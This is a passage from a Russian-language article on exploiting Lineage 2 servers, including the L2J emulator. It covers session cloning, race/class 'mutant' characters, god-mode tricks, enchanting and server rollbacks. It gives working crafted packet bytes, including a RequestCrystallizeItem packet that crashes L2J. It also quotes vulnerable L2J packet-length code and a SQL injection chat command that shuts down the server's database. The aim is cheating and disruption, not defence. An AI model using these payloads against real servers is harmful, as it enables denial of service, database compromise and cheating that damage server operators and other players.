Суть заключалась в том, что мы, авторизовавшись на login-сервере 1 раз под одним аккаунтом, могли заходить
на game-сервер под этим же аккаунтом параллельно неограниченное число раз. Соответственно, можно было входить
в игру под одним и тем же персонажем сколько угодно.
Вторая возможность клонирования была описана в параграфе про IID и OID.
Клонирование предметов через WH, питомцев и тд рассматривать не буду, мне не кажется эта тема интересной, т.к.
на нормальных серверах это уже давно не работает.
6. Создание "мутантов" и смешение скиллов
Очень интересная тема. Первым кто реализовал программно эти идеи (в рунете) был hint.
Для начала, на сколько вам известно, в lineage существует несколько расс. За каждой из них закреплены свои
классы (маг и войн). Но класс одной рассы естесственно отличается от аналогичного класса другой рассы (скиллами).
А у рассы гномов нет класса магов вообще. Это было необходимое предисловие, чтобы понять смысл всего нижеописанного.
А теперь рассмотрим запрос на создание персонажа:
0B // тип пакета
45 00 6D 00 30 00 30 00 00 00 // ник перса
04 00 00 00 // расса
00 00 00 00 // пол
35 00 00 00 // начальная профессия (класс)
14 00 00 00 // 6 постоянных значений, я затрудняюсь сказать, что они значат
27 00 00 00 //
2D 00 00 00 //
1B 00 00 00 //
1D 00 00 00 //
0A 00 00 00 //
00 00 00 00 // тип волос
00 00 00 00 // цвет волос
00 00 00 00 // тип лица
Этот пакет создаст Гнома война с ником "m00" мужского пола.
Оказалось, что сервер (даже оффициальный) не проверяет соответствие рассы с выбраным классом. Это позволяет нам
создавать чаров одной рассы с классом совершенно другой (я их называю мутантами =)). Звучит, конечно, интересно, но
на самом деле мы имеем обычного чара со своими статами и скиллами, но с несвойственными ему текстурами. По идее
баг кроме фана нам ничего дать не может (фана ввиде светлого эльфа спойлящего мобов :)), но оказалось, что из этого,
на первый взгляд, неинтересного бага проистекают ещё два.
Насколько вы знаете, у каждой рассы есть свои NPC у которых берутся квесты на профессию и учатся скиллы. Так
вот, мутанты учат скиллы класса одной рассы у NPC другой рассы. К примеру, я, играя светлым эльфом, учил скилл
гномов "Spoil" у NPC эльфов. И тут встал вопрос, а кто мне тогда будет давать профессию и какую?
Дело в том, что скиллы даются в зависимости от профессии (в даном контексте "класса"), а вот квесты в
зависимости от рассы. То есть, может получится такое, что по достижению 20-го уровня и будучи гномом-спойлером,
вы сможете получить профессию "Elven Knight" (первая профессия светлых эльфов).
Но эта информация не подтверждена на практике.
Кстати говоря, считанное количество мутантов могут вообще учить скиллы.
А вообще, если говорить о скиллах, то в ла2 есть ещё один баг. LA2 офф клиент не проверяет соответствие уровня чара и
уровня доступного для изучения скилла. То есть, к примеру, будучи на 5-ом лвле human fighter'ом вы можете учить
mortal blow максимального уровня (при условии, что хватит SP). Это легко реализуется на пакетном уровне.
Ещё хочется добавить, что на l2j сервере какие-либо проверки вообще отсутствуют. То есть вы можете учить даже те
скиллы, которые доступны только GM-ам.
7. Бессмертие.
Вот мы и дошли до самой интересной темы, именуемой в простонародье - god mode.
Согласитесь, на сервере, где онлайн больше 1000 человек, быть бессмертным - одно удовольствие =)
Для начала, когда наступает бессмертие? На этот вопрос был дан банальный, но как оказалось точный ответ:
когда чар уже мёртв.
Казалось бы бред, но когда у персонажа 0 HP и он жив, его действительно невозможно убить (ну не савсем невозможно :) -
об этом ниже). Но как сделать, чтобы у чара был абсолютный 0 HP, он был жив и при этом ещё HP не восстанавливались?
Для начала рассмотрим вопрос с 0 HP. В la2 есть такой баг: если после смерти нажать на "return to the nearest village"
и сразу же завершить процесс l2.exe, чар появится в городе с абсолютным 0 HP и даже с баффами (если они до этого были).
Это свезано с тем, что после RequestRestartPoint-пакета клиент должен посылать пакет Apearing, после которого
собственно сервер и восстанавливает чару HP и убирает баффы. А так как клиент мы закрываем, он этот пакет
послать не успевает.
Кстати, почему я всё время говорю "абсолютный" 0? Дело в том, что на сервере HP хранятся в переменной типа float
(что самое интересное, клиенту пересылается оно в виде целого числа). То есть, если вы будете постепенно снижать
HP до 0 с помощью bleed или poison, то вы не получите абсолютный 0, а если HP не ноль, значит вы живы.
Поэтому единственный способ получить абсолютный 0 - это умереть.
Вот, делать 0 HP мы научились, теперь поговорим о том, как заморозить их на нуле.
1) Первым шагом в этом направлении было создание гнома-мага (как было описано в предыдущем параграфе). Скорее всего,
в следствие того, что у гномов нет такого класса как маг вообще, у него не регенерируются HP/MP. Соответственно,
проделав с таким гномом выше-упомянутые действия, получим бессмертного персонажа. Этот баг пофиксили практически везде.
2) Второй способ был открыт несколько позднее гномов-магов. Оказалось, что при выборе несуществующей рассы, создаются
бессмертные human'ы с любым классом. И самое интересное, что если таким способом создавать класс human mage, всё равно
получится human fighter, но с магическими скиллами.
У этих двух способов есть два очень весомых недостатка:
a) созданные персонажи не могут учить скиллы и получать профессию.
b) как вы понимаете, реген HP не работает вообще, соответственно вам придётся бегать бессмертным всё время.
3) А теперь, внимание, баг - который мне помог найти всё тот же hint.
Насколько вы знаете, в линейке есть такая штука как перевес. Когда вы загружены на 65%+, у вас падает скорость
бега, атаки и регенерации. Но мало кто знает, что если у вас 90%+, то помимо того, что вы не можете двигаться, у вас
не регенерируется HP! Но что толку от того, что, появившись после смерти в городе, вы будете стоять на месте бессмертным?
А тут нам поможет страйдер! Сев на него, вы сможете бегать с его скоростью при том, что HP всё равно не
регенерируется! Но тут есть тоже маленький подводный камень - на некоторых серверах (reborn.ru - C4) нельзя атаковать
будучи на страйдере. Тут уж ничего не поделаешь, могу посоветовать только пользоваться баффом blazing skin/freazing skin.
4) ну и последний баг с бессмертием - это demon's set. Это пожалуй самый старый баг на бессмертие и о нём в принципе все
знают. Завязан он на том, что у вас получается отрицательные хп и вас соответственно опять же нельзя убить.
Все вышеописанные типы бессмертия объединяет один серьёзный недостаток. Персонаж перестаёт быть бессмертным как только
у него каким-либо образом прибавится HP - в следствие lvlup'а или банального heal'а. Также он умирает от bleed, poison,
некоторых вампиризмов.
Ещё тут вспомнился баг с "fake death". На некоторых кривых явах после FD чары как бы так и остаются мёртвыми и их нельзя
атаковать пока они не сделают рестарт. Ну это так, к слову.
8. 'remote DoS' и что это даёт
Обычно уязвимости подобного рода особо не ценятся, так как более чем просто "поприкалываться" из них ничего
получить нельзя. LA2 же постоянно сохраняет состояние мира (через каждые Н-секунд - этот вопрос ещё точно не
изучен, да он и не так важен), чтобы после внезапного падения сделать откат. То есть, умея прогнозировать
(или провоцировать) падение game-сервера, мы получаем "власть над откатами". Что это значит? А то, что,
вас убили? Откат! Вас раздели? Откат!! У вас не получилось заточить шмотку? Откат!!!
Кроме того, есть очень ценные монстры, которые имеют очень большое resp time (fairy queen timinel - респ
5 часов, например) и присутствуют в единичном экземпляре. Убили, повалили сервер, сервер поднялся, моб снова
появился. В итоге время респа сокращается с 5 часов до 3-ёх минут.
Как же перегружать сервер?
Для l2j 100% рабочий способ - это кристализация.
72 // RequestCrystallizeItem
00 00 00 00 // OID предмета
FF FF FF FF // количество
Подставляем в этот пакет реальный OID предмета и отсылаем. На что сервер моментально падает.
Для проджектов тут всё сложнее. При шифровании пакетов неправильным ключём, сервер иногда падает. ПОчему? Если
ключи не совпадают, значит сервер при расшифровке получает совершенно рандомные значения (то есть ни то, что мы
зашифровывали). И выследить как раз ту последовательность значений, при которой сервер падает, у меня пока что
не получилось.
9. integer overflow в сетевом движке l2j
Ну и так, чтобы окончательно опровергнуть мнение о том, что в lineage2 нет серьёзных багов,
продемонстрирую вам целочисленное переполнение в сервере l2j в процедуре обработки клиентских
пакетов:
public void run()
{
_log.fine("loginserver thread[C] started");
int lengthHi = 0;
int lengthLo = 0;
int length = 0;
boolean checksumOk = false;
int sessionKey = -1;
String account = null;
String gameServerIp = null;
try
{
InetAddress adr = InetAddress.getByName(_gameServerHost);
gameServerIp = adr.getHostAddress();
Init startPacket = new Init();
_out.write(startPacket.getLength() & 0xff);
_out.write(startPacket.getLength() >> 8 & 0xff);
_out.write(startPacket.getContent());
_out.flush();
do
{
lengthLo = _in.read();
lengthHi = _in.read();
length = lengthHi * 256 + lengthLo;
if(lengthHi < 0)
{
_log.warning("Client terminated the connection.");
break;
}
byte incoming[] = new byte[length];
incoming[0] = (byte)lengthLo;
incoming[1] = (byte)lengthHi;
.................
Это конечно не савсем 'integer overflow' в классическом понимании этого словосочетания,
но приводит оно сначала к двух-байтному переполнению (off-by-two overflow), а затем к ...
Похожая уязвимость имеется в ла2 клиенте и l2walker'е. Они виснут, сжирая 100% процессорного времени.
Но их исходников у меня нет, но есть основание полагать, что там код несколько иной.
Кстати говоря, сервер L2J просто от и до заполнен подобными багами. Многие из них описаны на читерских форумах.
10. SQL-injection
Да, через этот баг в форумах было взломано, наверное, ещё больше серверов чем когда-то с помощью unicode-бага в
iis. Каково было моё удивление, когда я узнал, что он есть и в lineage. А оно в принципе и понятно,
многое из того, что мы передаём la2-серверу (тайтлы для членов клана, ник для игнора, список друзей и тд) сразу же
добавляется в серверную sql-базу. Соответственно, простой командой: /block 'SHUTDOWN-- мы можем выключить sql-сервер.
Больше всего поражает то, что админы, бравшиеся фиксить этот баг, в первую очередь фильтровали данные на слово
"SHUTDOWN--" и только потом догадались, что рестарт сервера - это самое минимальное из того, что можно сделать
используя этот баг.
Более подробно на этом баге я останавливаться не буду, так как он, пожалуй, самый серьёзный из того, что вообще
есть в линейке. Скажу лишь, что фиксят его крайне криво :)
11. Заточка
Мне кажется, баг с заточкой стоит на втором месте по востребованности после "дюпа".
Что такое заточка вообще? Это такой свиток, который позволяет улучшить характеристики той или иной шмотки, после
чего удаляется. Но улучшать можно отнюдь не до бесконечности. После +3 появляется вероятность того, что шмотка сломается.
Причём, чем выше степень "заточенности" вещи, тем больше вероятность её поломки (кстати, не факт, об этом ниже).
Как раз наличие вот этой переменной "вероятности" привело к появлению бесчисленного множества способов заточки.
К примеру, у кого-то вдруг каким-то чудом получилось заточить на +6, когда он ... бежал! И теперь этот человек пишет
на форумах, что это новый 100% способ точки. Также некоторые пишут, что лучше точить 1 раз на 1-ом уровне, лучше
точить гномом, также что вероятность зависит от "рекомендаций", от интеллекта (кстати, про INT мне сказал достаточно
просвещённый человек), лучше точить ночью, использовать soulshots, бить в этот момент моба, замерять время между
точками и так далее и тому подобное. Я, конечно, не могу спорить с этими высказываниями, так как я сам не опробовал
всё, что пишут на форумах, но знаю точно - за 100% способ заточки многие люди готовы выплатить неплохие деньги.
Следовательно, такого способа на публике к сожалению нет. А есть ли он вообще? Попробуем вместе в этом разобраться.
Для начала, давайте разберём то, как на пакетном уровне точится шмотка:
1-ый пакет - это когда в игре мы нажимаем правой кнопкой на заточке, то есть активируем её.
14 // тип пакета (UseItem)
86 a4 13 40 // OID заточки
00 00 00 00
После активации заточки мы выбираем тот предмет, который хотим точить:
58 // тип пакета (RequestEnchantItem)
74 a4 13 40 // OID предмета